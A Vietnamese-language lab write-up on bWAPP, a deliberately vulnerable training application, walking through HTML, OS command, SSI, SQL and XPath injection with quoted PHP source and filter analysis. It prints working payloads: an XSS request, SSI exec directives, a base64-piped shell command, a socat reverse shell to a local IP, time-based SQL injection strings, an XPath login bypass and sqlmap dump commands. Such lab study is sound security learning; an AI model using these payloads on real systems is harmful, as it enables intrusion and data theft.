BWAPP

HTML reflected (GET)

Source: https://github.com/lmoroz/bWAPP/blob/master/bWAPP/htmli_get.php

<div id="main">
    
    <h1>HTML Injection - Reflected (GET)</h1>

    <p>Enter your first and last name:</p>

    <form action="/htmli_get.php" method="GET">

        <p><label for="firstname">First name:</label><br>
        <input type="text" id="firstname" name="firstname"></p>

        <p><label for="lastname">Last name:</label><br>
        <input type="text" id="lastname" name="lastname"></p>

        <button type="submit" name="form" value="submit">Go</button>  

    </form>

    <br>
    Welcome aaa bbbbb
</div>

Medium

High

Sau khi đoán mãi cách bypass không ra nên ta chuyển sang whitebox testing:

function xss_check_3($data, $encoding = "UTF-8")
{

    // htmlspecialchars - converts special characters to HTML entities
    // '&' (ampersand) becomes '&amp;'
    // '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set
    // "'" (single quote) becomes '&#039;' (or &apos;) only when ENT_QUOTES is set
    // '<' (less than) becomes '&lt;'
    // '>' (greater than) becomes '&gt;'

    return htmlspecialchars($data, ENT_QUOTES, $encoding);

}

The htmlspecialchars() function converts some predefined characters to HTML entities.

→ Chuỗi trả ra không còn ký tự đặc biệt nào mà trình duyệt có thể hiểu là thẻ hay thuộc tính HTML.

Vậy nên việc khai thác bây giờ hoàn toàn trở lên không còn khả thi nữa.

Và còn 1 cách dùng khác secure tương tự:

function xss_check_2($data)
{

    // htmlentities - converts all applicable characters to HTML entities

    return htmlentities($data, ENT_QUOTES);

}

HTML Injection - Stored (Blog)

Source code: https://github.com/lmoroz/bWAPP/blob/master/bWAPP/htmli_stored.php

Vuln nằm tại phần HTML hiển thị data từ table

while($row = $recordset->fetch_object())
{
    if($_COOKIE["security_level"] == "1" or $_COOKIE["security_level"] == "2")
    {
?>
        <tr height="40">
            <td align="center"><?php echo $row->id; ?></td>
            <td><?php echo $row->owner; ?></td>
            <td><?php echo $row->date; ?></td>
            <td><?php echo xss_check_3($row->entry); ?></td>
        </tr>
<?php
    }
    else
    {
?>
        <tr height="40">
            <td align="center"><?php echo $row->id; ?></td>
            <td><?php echo $row->owner; ?></td>
            <td><?php echo $row->date; ?></td>
            <td><?php echo $row->entry; ?></td>
        </tr>
<?php

Như vậy đối với security level 1 và 2, khai thác là điều dường như không thể (xss_check_3 đã xuất hiện ở bài trước).

Theo như ta tìm kiếm thì còn 1 hàm xss_check_4 nhưng do author sai sót nên viết nhầm cả thành xss_check_3 :>>

function xss_check_4($data)
{
    // addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.
    // These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
    // Do NOT use this for XSS or HTML validations!!!

    return addslashes($data);
}

OS Command Injection

Source code: https://github.com/lmoroz/bWAPP/blob/d34520de7dfad526913706e9772aae6e9aa34916/bWAPP/commandi.php

Hàm validate input:

function commandi_check_1($data)
{

    $input = str_replace("&", "", $data);
    $input = str_replace(";", "", $input);

    return $input;

}

function commandi_check_2($data)
{

    return escapeshellcmd($data);

}

Và đây là vuln:

    if(isset($_POST["target"]))
    {

        $target = $_POST["target"];

        if($target == "")
        {

            echo "<font color=\"red\">Enter a domain name...</font>";

        }

        else
        {

            echo "<p align=\"left\">" . shell_exec("nslookup  " . commandi($target)) . "</p>";

        }

    }

Đây là cách mà hàm str_replace hoạt động.

Nên ta phải dùng các kí tự khác. Ví dụ như %0a (\n)

Đối với hàm: escapeshellcmd thì vẫn chưa thấy có bài nào chỉ ra rằng ta có thể bypass được

Server-Side Includes (SSI) Injection

Source code: https://github.com/lmoroz/bWAPP/blob/d34520de7dfad526913706e9772aae6e9aa34916/bWAPP/ssii.php

Vuln code:

        case "1" :

            $data = xss_check_4($data);
            break;

...

        $line = '<p>Hello ' . $firstname . ' ' . $lastname . ',</p><p>Your IP address is:' . '</p><h1><!--#echo var="REMOTE_ADDR" --></h1>';

        // Writes a new line to the file
        $fp = fopen("ssii.shtml", "w");
        fputs($fp, $line, 200);
        fclose($fp);

        header("Location: ssii.shtml");
        
...

Và hàm xss_check_4 được sử dụng:

function xss_check_4($data)
{

    // addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.
    // These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
    // Do NOT use this for XSS or HTML validations!!!

    return addslashes($data);

}

Theo như phân tích thì ta cần escape khỏi thẻ <p> để có thể thực thi các script độc hại

Sau khi thực nghiệm, thì ta thấy rằng việc bypass addslashes trong bối cảnh này khá khó khăn. Ta ignore tạm thời nó:

POST /bWAPP/ssii.php HTTP/1.1
Host: 192.168.160.133
Content-Length: 68
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://192.168.160.133
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.160.133/bWAPP/ssii.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=1677559b0750356e2fdcb800c54975fd; security_level=1
Connection: keep-alive

firstname=</p><script>alert(1)</script><p>&lastname=bbbb&form=submit

Ngoài ra còn 1 cách tấn công khác. Nhìn vào extension của file ta thấy nó có đuôi là: .shtml

.shtml (Server-Side Includes HTML) dùng cho tệp HTML có gắn thẻ SSI – các chỉ thị đặc biệt nằm trong comment HTML

Như tại đoạn code ta đang có sẵn 1 dòng chỉ ra SSI entity đó là:

<!--#echo var="REMOTE_ADDR" -->

Hoặc có thể tham khảo các payload tại đây hoặc đây

Đầu tiên, ta test thử với payload là:

<!--#printenv -->

Sau khi confirm rằng lỗi thực sự xảy ra (nếu ta không dùng các kí tự " hoặc '

Hoặc với payload:

<!--#exec cmd=whoami -->

Hoặc vô số trò khác bằng cách sử dụng pipeline như sau:

echo ZWNobyAiSSdtIGEgIg== | /usr/bin/base64 -d | /bin/sh
# Hoặc reverse shell:
socat TCP:192.168.0.104:1337 EXEC:sh

Hiện tại khi sử dụng payload trên thì ta đang gặp vấn đề tại server config không thể chạy 1 câu lệnh có pipeline dài như trên...

SQL Injection (GET/Search)

Ta có thể confirm sql vuln bằng cách thêm dấu ' vào movie field

Đối với level medium ta có thể thấy nó đã hide các error message

Mò vào source code (Vì ta đã thử khá nhiều payload - blind sqli nhưng đều không hiệu quả) thì ra là nó đang tìm kiếm chuỗi (đơn giản là chuỗi đó không tồn tại)

Thì trong source nó đã filter input mình nhập vào bằng function sau:

function sqli_check_1($data)
{
    return addslashes($data);
}

Và đây là cách input của ta được đi vào filter function:

$title = $_GET["title"];

$sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";

Mô phỏng:

SELECT * FROM movies WHERE title LIKE '%<some_text>%'

# No filter
SELECT * FROM movies WHERE title LIKE '%aaaa' UNION Select 1,2,3,4,5

# Filter addslashes ( ' -> \' | " -> \" )
...

Đối với level medium hiện chưa tìm ra giải pháp để bypass addslashes

Mặc dù đã sử dụng phương pháp Multiple Character như bài blog sau (Vì nó chỉ hoạt động khi kích hoạt bộ mã multiple character như GBK, Big5,.. bằng SET NAMES ...). Còn nếu không thì dường như không thể khai thác được thêm vào đây.

SQL Injection - Blind - Boolean-Based

Easy

    if(isset($_REQUEST["title"]))
    {
        $title = $_REQUEST["title"];
        $sql = "SELECT * FROM movies WHERE title = '" . sqli($title) . "'";
        $recordset = mysqli_query($link, $sql);
        if(!$recordset)
        {
            //die("<font color=\"red\">Incorrect syntax detected!</font>");
             die("Error: " . mysqli_error($link));
        }
        if(mysqli_num_rows($recordset) != 0)
        {
            echo "The movie exists in our database!";
        }
        else
        {
            echo "The movie does not exist in our database!";
        }
        mysqli_close($link);
    }

security_level = 0 --> Không filter các kí tự mà ta nhập vào

Dựa vào đoạn code trên, có thể thấy rằng khi ta nhận được kết quả error thì biến $recordset sẽ là false

và raise lên 1 lỗi. Ngược lại thì mặc dù thành công hay không ta cũng không thể quan sát được được chương trình trả về dữ liệu của database ⇒ blind sqli

Mô phỏng Sqli

SELECT * FROM movies WHERE title = 'movie'

SELECT * FROM movies WHERE title = 'Iron man' AND IF(1=1, SLEEP(2), 0)-- -'

Thực nghiệm:

Như vậy là ta đã thành công sleep được 10s

Đoạn này không hiểu sao burpsuite hoạt động ảo ma quá nên phải chuyển qua tương tác với web

SQL Injection - Blind - Time-Based

Easy

    $title = $_REQUEST["title"];
    $sql = "SELECT * FROM movies WHERE title = '" . sqli($title) . "'";
    $recordset = mysqli_query($link, $sql);

    if($recordset and mysqli_num_rows($recordset) != 0)
    {
        $row = mysqli_fetch_array($recordset);
        $movie = $row["title"];
        $login = $_SESSION["login"];
        $sql = "SELECT email FROM users WHERE login = '" . $login . "'";
        $recordset = mysqli_query($link, $sql);
        $row = mysqli_fetch_array($recordset);
        $email = $row["email"];

        if($smtp_server != "")
        {
            ini_set( "SMTP", $smtp_server);
        }
        // Sends a mail to the user
        $subject = "bWAPP - Movie Search";
        $sender = $smtp_sender;
        $content = "Hello " . ucwords($login) . ",\n\n";
        $content.= "The movie \"" . $movie . "\" exists in our database." . "\n\n";
        $content.= "Greets from bWAPP!";
        $status = @mail($email, $subject, $content, "From: $sender");

    }

Phần này, tuy logic chương trình có vẻ khác nhau nhưng core chính thì giống với phần lab phía trên chỉ khác là bây giờ ta sẽ không thấy được bất kì output nào.

Đối với bài lab:
SQL Injection - Blind - Boolean-Based: ta có thể retrieve data dựa vào error message hoặc error hoặc là time-based như trên
SQL Injection - Blind - Time-Based: ta chỉ có thể dựa vào time based để retrieve data từ database

    $login = $_REQUEST["login"];
    $login = xmli($login);

    $password = $_REQUEST["password"];
    $password = xmli($password);
    // Loads the XML file
    $xml = simplexml_load_file("passwords/heroes.xml");
    // XPath search
    $result = $xml->xpath("/heroes/hero[login='" . $login . "' and password='" . $password . "']");

    if($result)
    {
        $message =  "<p>Welcome <b>" . ucwords($result[0]->login) . "</b>, how are you today?</p><p>Your secret: <b>" . $result[0]->secret . "</b></p>";
    }
    else
    {
        $message = "<font color=\"red\">Invalid credentials!</font>";
    }

Ta có thể thấy rằng nếu mật khẩu sai thì ta sẽ nhận được "Invalid ..." còn để hợp lệ ta phải input đúng các credential được liệt kê trong file heroes.xml

Điều cần chú ý là 2 biến $login và $password được nối thẳng vào chuỗi query.

Mô phỏng:

/heroes/hero[login='" . $login . "' and password='" . $password . "']

# Nếu
login: aaa' or '1' = '1
password: aaa' or '1' = '1

/heroes/hero[login='aaa' or '1' = '1' and password='aaa' or '1' = '1']

Thì ta sẽ nhận được user đầu tiên trong file XML/XPath (tương tự như database)

Tại sao ta cần inject vào cả 2 fields:

Khai thác SQL bằng tool

Save request của Burpsuite (chứa vuln SQLi) vào 1 file là req.txt

Sau đó sử dụng command:

sqlmap -r req.txt --level 3 --risk 2 --batch # để xem version của database
hoặc
sqlmap -r req.txt --level 3 --risk 2 --batch --dbs #để dump database

Và đây là kết quả:

PreviousInjection NextSqlmap

Last updated 4 months ago

Was this helpful?

Good night

HTML reflected (GET)

Medium

High

HTML Injection - Stored (Blog)

OS Command Injection

Server-Side Includes (SSI) Injection

SQL Injection (GET/Search)

SQL Injection - Blind - Boolean-Based

Easy

SQL Injection - Blind - Time-Based

Easy

XML/XPath Injection (Login Form)

Khai thác SQL bằng tool